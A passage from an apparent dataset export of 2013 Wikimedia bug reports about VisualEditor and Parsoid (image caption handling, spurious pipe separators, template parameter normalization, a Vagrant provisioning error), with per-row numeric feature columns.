puppet/manifests/site.pp, and tried to run vagrant for the first time in weeks. I tried vagrant up, vagrant reload, and vagrant provision, and all failed early on with variations of the same error as above:

[default] Running provisioner: puppet...
Running Puppet with site.pp...
info: Applying configuration version '1372472629'
notice: /Stage[main]/Role::Visualeditor/Mediawiki::Extension[VisualEditor]/Git::Clone[mediawiki/extensions/VisualEditor]/Exec[git clone mediawiki/extensions/VisualEditor]/returns: fatal: unable to access '/root/.config/git/config': Permission denied

I can CODE and the wiki is running on URL , but Special:Version says I don't have VisualEditor installed. I'm running Ubuntu 13.04."
52142,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set","[Not urgent.]

Frameless images are special; the caption is meant to be the alt text, unless alt= is also set, in which case it's ignored - but Parsoid outputs a <figcaption> for images regardless of type (thumb, framed or frameless) - and doesn't output the alt at all, which is bug 45208.

There's a hack in VisualEditor to ignore <figcaption>s for these as part of bug 50113, but Parsoid should fix these in due course.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1372119780,1372121678.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_description,invalid,True,c1,2,True,False,True,-1,,1.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,1.0,0.0,0.0,3.5,8.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,10.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.5,2.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,0.5,8.5,4.0,0.0,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,3.0,3.6293103448275863,0.8189655172413793,"[Not urgent.]

Frameless images are special; the caption is meant to be the alt text, unless alt= is also set, in which case it's ignored - but Parsoid outputs a <figcaption> for images regardless of type (thumb, framed or frameless) - and doesn't output the alt at all, which is bug 45208.

There's a hack in VisualEditor to ignore <figcaption>s for these as part of bug 50113, but Parsoid should fix these in due course.

--------------------------
**Version**: unspecified
**Severity**: minor"
247370,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934057,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
247366,"Images: Frameless images should not emit the ""caption"" as a <figcaption> even when it's set",This is by design. See http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Images for documentation and rationales.,,,1372121678,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-dyhspvuz6dvlmjei7r7v,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9166666666666666,This is by design. See URL for documentation and rationales.
52116,VisualEditor adding spurious pipe separators to image syntax,"https://en.wikipedia.org/w/index.php?title=History_of_Delta_Air_Lines&curid=38607247&diff=561387547&oldid=557734729

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372095840,1372096490.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.5263157894736842,"URL

--------------------------
**Version**: unspecified
**Severity**: normal"
245599,VisualEditor adding spurious pipe separators to image syntax,"

*** This bug has been marked as a duplicate of bug 50012 ***",,,1372096490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50012 ***"
245594,VisualEditor adding spurious pipe separators to image syntax,"[[File:Delta logo.svg|right|200px]] --> [[File:Delta logo.svg|right|200px|]]

I've seen this in a few other diffs as well.",,,1372095892,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dgi4ucdvhwjzbauoa7td,task_subcomment,,True,c1,2,False,,,-1,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.5161290322580645,0.7096774193548387,"[[File:Delta logo.svg|right|200px]] --> [[File:Delta logo.svg|right|200px|]]

I've seen this in a few other diffs as well."
52108,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=Laura_Pannack&diff=561375041&oldid=561336738

The change should have only italicized a few publication names. Instead it changed...

* Winner, Magenta Foundation award<ref>{{cite book |last= Pritchard | first= Lisa |authorlink= Lisa Pritchard|title= Setting Up a Successful Photography Business: How to be a Professional Photographer |url= http://books.google.co.uk/books?id=Nn4Zt5SBcswC&pg=PA134&lpg=PA134&dq=laura+pannack++Setting+up+a+Successful+Photography+Business&source=bl&ots=jPQTB9IuYE&sig=7xtX-t9WFQYB76Xo_ZlU06BnIrE&hl=en&sa=X&ei=QehaUZGZCJSa1AWR_oCICw&ved=0CC8Q6AEwAA#v=onepage&q=laura%20pannack%20%20Setting%20up%20a%20Successful%20Photography%20Business&f=false|accessdate= 2 April 2013 |year= |publisher= A & C Black Publishers Ltd|location= London|isbn= 978-1-408125-77-9|page= 134| quote = Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>

to...

* Winner, Magenta Foundation award<ref>{{cite book |last=Pritchard | first=Lisa |authorlink=Lisa Pritchard|title=Setting Up a Successful Photography Business: How to be a Professional Photographer |url=http://books.google.co.uk/books?id=Nn4Zt5SBcswC&pg=PA134&lpg=PA134&dq=laura+pannack++Setting+up+a+Successful+Photography+Business&source=bl&ots=jPQTB9IuYE&sig=7xtX-t9WFQYB76Xo_ZlU06BnIrE&hl=en&sa=X&ei=QehaUZGZCJSa1AWR_oCICw&ved=0CC8Q6AEwAA#v=onepage&q=laura%20pannack%20%20Setting%20up%20a%20Successful%20Photography%20Business&f=false|accessdate=2 April 2013 |year=|publisher=A & C Black Publishers Ltd|location=London|isbn=978-1-408125-77-9|page=134| quote =Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372088640,1373163467.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-k43bzyrhgig4srkamrde,task_description,invalid,True,c1,2,False,False,True,-1,,0.5,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,3.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,32.5,1.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.5,8.0,0.0,0.5,3.5,25.0,0.0,0.0,0.0,0.5,0.0,1.0,2.5,0.0,1.0,0.0,0.0,1.5,4.824438202247191,0.7736848825331972,"URL

The change should have only italicized a few publication names. Instead it changed...

* Winner, Magenta Foundation award<ref>{{cite book |last= Pritchard | first= Lisa |authorlink= Lisa Pritchard|title= Setting Up a Successful Photography Business: How to be a Professional Photographer |url= URL 2 April 2013 |year= |publisher= A & C Black Publishers Ltd|location= London|isbn= 978-1-408125-77-9|page= 134| quote = Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>

to...

* Winner, Magenta Foundation award<ref>{{cite book |last=Pritchard | first=Lisa |authorlink=Lisa Pritchard|title=Setting Up a Successful Photography Business: How to be a Professional Photographer |url=URL April 2013 |year=|publisher=A & C Black Publishers Ltd|location=London|isbn=978-1-408125-77-9|page=134| quote =Laura Pannack ... twice winner of the Magenta Foundation Award}}</ref>

--------------------------
**Version**: unspecified
**Severity**: normal"
245113,VisualEditor template parameter normalization results in dirty diffs,"Closing ""bugs"" which consist of multiple issues.",,,1373163467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,0.9,"Closing ""bugs"" which consist of multiple issues."
245110,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Save_Rock_and_Roll&curid=38419944&diff=561416388&oldid=561387755,,,1372107875,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245105,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Ivan_Tan&curid=39767321&diff=561408770&oldid=561406619,,,1372104798,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245101,VisualEditor template parameter normalization results in dirty diffs,"(In reply to comment #9)
> This remains a duplicate of bug 50066; that is merged on VE end. There are
> some artefacts due to Parsoid which are different bugs (which are also fixed
> and being deployed this afternoon, hopefully) [...]

Let's do this: mark this bug as resolved when it's actually resolved. Not when it may be hopefully resolved in the future.",,,1372104345,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,14.0,5.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.7380952380952381,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Let's do this: mark this bug as resolved when it's actually resolved. Not when it may be hopefully resolved in the future."
245096,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=United_States_presidential_election,_1844&curid=40514&diff=561407211&oldid=559883253",,,1372104272,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245093,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Sela_(Saudi_Arabia)&curid=26371208&diff=561403748&oldid=561269241,,,1372102659,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245090,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Kamelot&curid=1161493&diff=561402036&oldid=560661945,,,1372102018,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245086,VisualEditor template parameter normalization results in dirty diffs,"This remains a duplicate of bug 50066; that is merged on VE end. There are some artefacts due to Parsoid which are different bugs (which are also fixed and being deployed this afternoon, hopefully), but Bugzilla doesn't have ""dupe of these seven bugs"" as an option.

*** This bug has been marked as a duplicate of bug 50066 ***",,,1372101714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,True,,,-1,,1.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,3.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6486486486486487,0.7162162162162162,"This remains a duplicate of bug 50066; that is merged on VE end. There are some artefacts due to Parsoid which are different bugs (which are also fixed and being deployed this afternoon, hopefully), but Bugzilla doesn't have ""dupe of these seven bugs"" as an option.

*** This bug has been marked as a duplicate of bug 50066 ***"
245082,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=19th_Virginia_Infantry&curid=25759369&diff=561398799&oldid=561398641,,,1372100288,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245079,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Dan_Penteado&curid=13006822&diff=561396894&oldid=561392351,,,1372099355,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245076,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Low_Orbit_Ion_Cannon&curid=28240388&diff=561396775&oldid=560499820,,,1372099302,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245071,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=MTV&curid=18856&diff=561395466&oldid=561389102,,,1372098643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245068,VisualEditor template parameter normalization results in dirty diffs,"https://en.wikipedia.org/w/index.php?title=Wappingers_Falls,_New_York&curid=126391&diff=561394799&oldid=561394670",,,1372098386,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245063,VisualEditor template parameter normalization results in dirty diffs,https://en.wikipedia.org/w/index.php?title=Wild_Pack&curid=29143457&diff=561394555&oldid=561394449,,,1372098360,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
245059,VisualEditor template parameter normalization results in dirty diffs,"Re-opening this for now. This doesn't appear to be fixed:

https://en.wikipedia.org/w/index.php?title=Paul_Evans_(footballer_born_1973)&curid=15575267&diff=561390930&oldid=561390588",,,1372096583,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.1176470588235294,1.0,"Re-opening this for now. This doesn't appear to be fixed:

URL"
245057,VisualEditor template parameter normalization results in dirty diffs,"

